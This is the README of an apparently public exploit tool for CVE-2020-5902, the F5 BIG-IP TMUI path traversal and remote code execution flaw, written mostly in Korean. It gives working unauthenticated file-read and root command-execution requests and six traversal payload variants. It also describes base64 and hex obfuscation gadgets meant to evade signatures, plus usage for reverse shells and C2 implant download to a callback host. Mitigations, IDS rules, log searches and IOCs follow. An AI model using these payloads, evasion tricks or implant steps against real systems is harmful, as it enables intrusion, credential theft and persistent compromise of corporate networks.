
O F5 BIG-IP é uma plataforma de entrega e segurança de aplicações amplamente utilizada em ambientes corporativos. A CVE-2020-5902 é uma vulnerabilidade crítica no TMUI que, em versões não corrigidas, pode permitir acesso não autorizado e execução remota de código, reforçando a necessidade de atualização e gestão contínua de vulnerabilidades.
F5 BIG-IP의 Traffic Management User Interface (TMUI)의 중요한 경로 탐색 / 원격 코드 실행 취약점에 대한 개념 증명 익스플로잇입니다.
⚠️ 승인된 침투 테스트 및 보안 연구에만 사용하십시오. 소유하지 않았거나 테스트에 대한 서면 허가를 받지 않은 시스템에 대한 무단 사용은 불법입니다. 저자는 이 도구의 오용에 대해 어떠한 책임도 지지 않습니다.
F5 BIG-IP는 로드 밸런서, WAF, 애플리케이션 전송 컨트롤러 등 다목적 네트워크 장비 제품군으로, 전 세계 포츈 500대 기업, 금융 기관, 의료 기관, 정부 기관 대부분에서 배포됩니다. Traffic Management User Interface (TMUI) — 설정 유틸리티라고도 함 — 는 포트 443(또는 8443)에서 접근 가능한 웹 기반 관리 포털입니다.
2020년 7월, F5는 CVE-2020-5902를 공개했습니다. 이는 TMUI의 심각(CVSS 9.8) 인증되지 않은 경로 탐색 취약점으로, 원격의 인증되지 않은 공격자가 다음을 수행할 수 있습니다:
공개 후 며칠 이내에, 국가 행위자를 포함한 대규모 익스플로잇이 실제 환경에서 관찰되었습니다.
TMUI는 Apache Tomcat을 기반으로 구축되었으며, 보호된 리소스에 대한 인증을 강제하기 위해 서블릿 필터를 사용합니다. 취약점은 Tomcat이 세미콜론으로 구분된 경로 세그먼트(;)를 구문 분석하는 방식에 있습니다.
다음 요청은 인증을 완전히 우회합니다:
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
작동 원리:
/tmui/login.jsp(; 앞에서 끝남)로 인식합니다. 이는 공용 로그인 페이지이므로 요청을 허용합니다./..;/를 경로 탐색(/../)으로 처리합니다.fileRead.jsp 서블릿으로 인증 없이 라우팅됩니다.┌──────────────────────────────────────────────────────────────────┐
│ Client Request │
│ GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp │
└────────────────────────────┬─────────────────────────────────────┘
│
┌───────────────▼───────────────┐
│ Tomcat Servlet Filter │
│ Sees: /tmui/login.jsp ✓ │
│ (public endpoint → ALLOW) │
└───────────────┬───────────────┘
│
┌───────────────▼───────────────┐
│ Tomcat URL Resolver │
│ Resolves: /..;/ → /../ │
│ Final path: /tmui/locallb/ │
│ workspace/fileRead.jsp ← 🔓 │
└───────────────┬───────────────┘
│
┌───────────────▼───────────────┐
│ fileRead.jsp (no auth check) │
│ Reads arbitrary files as root│
└───────────────────────────────┘
tmshCmd.jsp 서블릿(동일한 탐색으로 접근 가능)은 command 및 utilCmdArgs 매개변수를 tmsh(BIG-IP 관리 셸)에 직접 전달하며, 이는 run util bash -c '...'로 래핑됩니다. 이를 통해 인증되지 않은 루트 수준 OS 명령 실행이 가능합니다:
POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
command=run+util+bash+-c+'id'&utilCmdArgs=-c+'id'
Phase 1: Reconnaissance
└─ TCP banner grab (HTTP/TLS fingerprint)
└─ SSL certificate analysis
└─ HTTP headers fingerprint (Server, X-Powered-By, Set-Cookie)
└─ BIG-IP version estimation from /etc/f5-release
Phase 2: Vulnerability Check
└─ Iterate over 6 traversal encoding variants
└─ Test against 4 known-readable sentinel files
└─ Confirm output matches known indicators (root:x:0:0, BIG-IP, etc.)
Phase 3: Exploitation
├─ Vector A: tmshCmd.jsp (primary RCE)
│ └─ Command obfuscated via base64 / hex-encode gadgets
├─ Vector B: fileRead.jsp + command injection in fileName param
│ └─ OS command injected into the fileName parameter
└─ Vector C: Log poisoning (User-Agent injection → read access_log)
Phase 4: Post-Exploitation (optional)
├─ Interactive shell (command REPL)
├─ Reverse shell (4 concurrent one-liners)
├─ LFI brute-force (30 sensitive paths, parallel)
└─ C2 implant deployment (Sliver / Metasploit / custom)
이 도구는 실행 시 두 가지 난독화 가젯 중 하나를 적용하여 정적 서명 탐지를 더 어렵게 만듭니다:
# Gadget 1 — Base64 encode/decode pipeline
bash -c {echo,aWQ=}|{base64,-d}|bash
# Gadget 2 — Hex-byte printf evaluation
eval "$(printf '\x69\x64')"
BIG-IQ, BIG-IQ Centralized Management, F5OS 및 Traffix SDC는 이 특정 CVE의 영향을 받지 않습니다.
!revshell, !c2, !read, !brute 명령git clone https://github.com/DevRafaelprogrammer/F5-BIG-IP.git
cd F5-BIG-IP
pip install requests pycryptodome urllib3
요구 사항: Python 3.10+
python CVE-2020-5902.py [-h] [--port PORT] [--proxy URL] [--no-recon]
[--cmd CMD] [--shell] [--lfi-brute]
[--revshell LHOST LPORT]
[--c2-url URL] [--c2-type TYPE] [--c2-args ARGS]
target
# 1. 취약점 확인만
python CVE-2020-5902.py 192.168.1.100
# 2. 사용자 정의 포트 + 단일 명령 실행
python CVE-2020-5902.py 192.168.1.100 --port 8443 --cmd "id && uname -a"
# 3. 대화형 셸
python CVE-2020-5902.py 192.168.1.100 --shell
# 4. LFI 무차별 대입 (30개의 민감한 경로 읽기)
python CVE-2020-5902.py 192.168.1.100 --lfi-brute
# 5. 리버스 셸 콜백
python CVE-2020-5902.py 192.168.1.100 --revshell 10.0.0.1 4444
# 6. C2 임플란트 배포 (Sliver 예제)
python CVE-2020-5902.py 192.168.1.100 \
--c2-url http://10.0.0.1:8000/implant \
--c2-type linux
# 7. Burp Suite를 통해 트래픽 검사
python CVE-2020-5902.py 192.168.1.100 --proxy http://127.0.0.1:8080
--shell 모드에서 다음 특수 명령을 사용할 수 있습니다:
가장 효과적인 단일 완화 조치는 관리 인터페이스가 신뢰할 수 없는 네트워크에서 절대 접근 불가능하도록 하는 것입니다:
# BIG-IP: 관리 접근을 전용 VLAN/IP 범위로 제한
tmsh modify sys httpd allow replace-all-with { 10.0.0.0/8 192.168.0.0/16 }
tmsh save sys config
또는 BIG-IP Self IP 구성에서 관리 포트에 외부 경로가 없는지 확인하십시오.
F5는 탐색 패턴을 차단하는 Apache RewriteRule을 추가하는 완화 스크립트를 게시했습니다:
# /etc/httpd/conf.d/CVE-2020-5902.conf
RewriteEngine On
RewriteCond %{THE_REQUEST} "([^\ ]+)\x3b" [NC]
RewriteRule ^ - [F,L]
확정적인 수정은 BIG-IP를 패치된 릴리스로 업그레이드하는 것입니다(영향을 받는 버전 표 참조). F5는 인증 적용 전에 세미콜론으로 구분된 경로 세그먼트를 올바르게 구문 분석하도록 서블릿 필터 로직을 수정했습니다.
┌────────────────────────────────────────────────────────────────┐
│ RECOMMENDED ARCHITECTURE │
│ │
│ Internet ──────► Firewall ──────► DMZ / Production │
│ │ │
│ │ (DENY all traffic to mgmt ports) │
│ │ │
│ Jump Host ──────► BIG-IP TMUI (port 443) │
│ (MFA + VPN) (management VLAN only) │
└────────────────────────────────────────────────────────────────┘
핵심 원칙:
Self IP 포트 잠금은 Allow None 또는 Allow Defaults로 설정해야 합니다.BIG-IP 관리 앞에 WAF가 있는 경우(드물지만 일부 아키텍처에서는 가능), 다음을 차단하는 규칙을 추가하세요:
;가 포함된 요청..; 또는 %3b가 일치하는 요청/tmui/locallb/workspace/로의 요청[ ] BIG-IP가 수정된 버전으로 패치됨
[ ] TMUI가 인터넷에 노출되지 않음 (Shodan/Censys로 확인)
[ ] 관리 VLAN이 프로덕션과 분리됨
[ ] Self IP 포트 잠금 구성됨 (Allow None 또는 Allow Defaults)
[ ] 관리 접근에 MFA 적용
[ ] 자산 관리 시스템에 BIG-IP 소프트웨어 인벤토리
[ ] 자동 취약점 스캔(Tenable/Qualys)에 BIG-IP 포함
[ ] SIEM에 로그 전달 구성됨 (access_log, audit.log)
[ ] 네트워크 분할: 손상된 BIG-IP가 도메인 컨트롤러에 도달할 수 없음
[ ] 사고 대응 플레이북에 네트워크 장비 손상 시나리오 포함
# Detect path traversal attempts (semicolon bypass)
alert http any any -> $HOME_NET 443 (
msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal";
flow:to_server,established;
content:"tmui"; http_uri; nocase;
content:"..;"; http_uri;
content:"workspace"; http_uri; nocase;
reference:cve,2020-5902;
sid:9000001; rev:1;
)
# Detect encoded semicolon variant
alert http any any -> $HOME_NET 443 (
msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal (encoded)";
flow:to_server,established;
content:"tmui"; http_uri; nocase;
content:"%3b"; http_uri; nocase;
content:"fileRead"; http_uri; nocase;
reference:cve,2020-5902;
sid:9000002; rev:1;
)
# BIG-IP 액세스 로그에서 탐색 시도 찾기
grep -iE "(\.\.;|%2e%2e|%252e|\.\.%3b|%2e%2e%3b)" /var/log/httpd/access_log
# 취약한 엔드포인트에 대한 성공적인 히트 찾기
grep -iE "(fileRead\.jsp|tmshCmd\.jsp|workspace)" /var/log/httpd/access_log | \
grep -v "^10\.\|^192\.168\.\|^172\.1[6-9]\.\|^172\.2[0-9]\.\|^172\.3[0-1]\."
index=network sourcetype=f5:bigip:access
(uri_path="*..;*" OR uri_path="*%3b*" OR uri_path="*%2e%2e*")
(uri_path="*workspace*" OR uri_path="*fileRead*" OR uri_path="*tmshCmd*")
| eval risk=if(status=200, "HIGH", "MEDIUM")
| stats count by src_ip, uri_path, status, risk
| sort -count
URL 패턴:
/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
/tmui/login.jsp/%2e%2e;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..%3b/tmui/locallb/workspace/fileRead.jsp
일반적인 공격자 목표 (접근된 파일):
/etc/passwd — 자격 증명 수집
/config/bigip.conf — VPN/라우팅 설정 유출
/config/bigip.license — 라이선스 키 도난
/config/bigip_user.conf — 로컬 관리자 계정 열거
/root/.bash_history — 과거 명령 정찰
http.title:"BIG-IP" port:443이 도구는 교육 목적 및 승인된 보안 평가만을 위해 제공됩니다. 다음을 대상으로 합니다:
명시적인 서면 허가 없이 이 도구를 시스템에 사용하는 것은 형사 범죄이며, 이는 미국 컴퓨터 사기 및 남용법(CFAA), 영국 컴퓨터 오용법, 브라질 Lei Nº 12.737/2012 (Lei Carolina Dieckmann) 및 전 세계 대부분의 관할권의 동등한 법률에 위배됩니다.
이 저장소의 저자와 기여자는 이 소프트웨어의 오용으로 인한 모든 손해, 법적 결과 또는 기타 피해에 대해 어떠한 책임도 지지 않습니다.
보안 연구 커뮤니티를 위해 만들어졌습니다. 시스템을 패치하세요. 네트워크를 보호하세요.
| 변형 | 페이로드 |
|---|
| 표준 | tmui/login.jsp/..;/tmui/... |
| 인코딩된 세미콜론 | tmui/login.jsp/..%3b/tmui/... |
| 이중 URL 인코딩 | tmui%2flogin.jsp%2f..%3b%2ftmui%2f... |
| 유니코드 점-점 | tmui/login.jsp/%2e%2e;/tmui/... |
| 대소문자 변형 | TMUI/login.jsp/..;/tmui/... |
| 디렉토리 혼동 | tmui/login.jsp/..;/tmui/locallb/workspace/../workspace/... |
| BIG-IP 브랜치 | 취약 범위 | 패치 버전 |
|---|
| 15.x | < 15.1.0.4 | ≥ 15.1.0.4 |
| 14.x | < 14.1.2.6 | ≥ 14.1.2.6 |
| 13.x | < 13.1.3.4 | ≥ 13.1.3.4 |
| 12.x | < 12.1.5.2 | ≥ 12.1.5.2 |
| 11.x | < 11.6.5.2 | ≥ 11.6.5.2 |
| 명령 | 설명 |
|---|
!revshell <lhost> <lport> | 4개의 리버스 셸 변형을 동시에 발사 |
!c2 <url> <type> [args] | C2 임플란트 다운로드 및 실행 |
!read <path> | LFI를 통해 임의 파일 읽기 |
!brute | 30개의 민감한 경로를 무차별 대입 |
!exit | 세션 종료 |
<any OS command> | RCE를 통해 실행하고 출력 출력 |
| 날짜 | 사건 |
|---|
| 2020-06-30 | F5에 비공개 통보 |
| 2020-07-01 | F5가 권고(K52145254) 및 패치 발표 |
| 2020-07-03 | 트위터에 공개 PoC 배포 |
| 2020-07-04 | 여러 위협 인텔리전스 기업이 대규모 익스플로잇 관찰 |
| 2020-07-06 | CISA, 연방 패치를 의무화하는 긴급 지시 20-03 발행 |
| 2020-07-09 | 국가 행위자(APT)의 실제 환경 익스플로잇 확인됨 |
| 2020-07-15 | 약 8,000개의 BIG-IP 인스턴스가 여전히 패치되지 않음 (Shodan) |
| 2020-08-xx | 랜섬웨어 그룹이 패치되지 않은 BIG-IP 장치를 표적으로 삼기 시작함 |